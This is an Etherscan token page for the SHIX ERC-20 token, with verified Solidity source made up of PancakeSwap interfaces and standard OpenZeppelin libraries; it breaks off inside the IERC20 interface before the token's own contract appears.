Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000,000 SHIX
Holders
80
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,971,933.759161866 SHIXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-15 */ /** *Submitted for verification at Etherscan.io on 2023-06-14 */ // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; interface IPancakePair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: ISwapFactory.sol pragma solidity ^0.8.4; interface ISwapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external returns (address pair); } // File: ISwapRouter.sol pragma solidity ^0.8.4; interface ISwapRouter { function factoryV2() external pure returns (address); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/math/SignedMath.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol) pragma solidity ^0.8.0; /** * @dev Standard signed math utilities missing in the Solidity language. */ library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } } // File: @openzeppelin/contracts/utils/math/Math.sol // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { enum Rounding { Down, // Toward negative infinity Up, // Toward infinity Zero // Toward zero } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) * with further edits by Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. require(denominator > prod1, "Math: mulDiv overflow"); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1. // See https://cs.stackexchange.com/q/138556/92363. // Does not overflow because the denominator cannot be zero at this stage in the function. uint256 twos = denominator & (~denominator + 1); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works // in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (rounding == Rounding.Up && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2, rounded down, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10, rounded down, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256, rounded down, of a positive value. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0); } } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _SYMBOLS = "0123456789abcdef"; uint8 private constant _ADDRESS_LENGTH = 20; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = Math.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), _SYMBOLS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `int256` to its ASCII `string` decimal representation. */ function toString(int256 value) internal pure returns (string memory) { return string(abi.encodePacked(value < 0 ? "-" : "", toString(SignedMath.abs(value)))); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, Math.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); } /** * @dev Returns true if the two strings are equal. */ function equal(string memory a, string memory b) internal pure returns (bool) { return keccak256(bytes(a)) == keccak256(bytes(b)); } } // File: @openzeppelin/contracts/access/IAccessControl.sol // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/AccessControl.sol // OpenZeppelin Contracts (last updated v4.9.0) (access/AccessControl.sol) pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ```solidity * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ```solidity * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. We recommend using {AccessControlDefaultAdminRules} * to enforce additional security measures for this role. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `_msgSender()` is missing `role`. * Overriding this function changes the behavior of the {onlyRole} modifier. * * Format of the revert message is described in {_checkRole}. * * _Available since v4.6._ */ function _checkRole(bytes32 role) internal view virtual { _checkRole(role, _msgSender()); } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(account), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. * * May emit a {RoleGranted} event. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. * * May emit a {RoleRevoked} event. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. * * May emit a {RoleRevoked} event. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * May emit a {RoleGranted} event. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. * * May emit a {RoleGranted} event. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. * * May emit a {RoleRevoked} event. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the 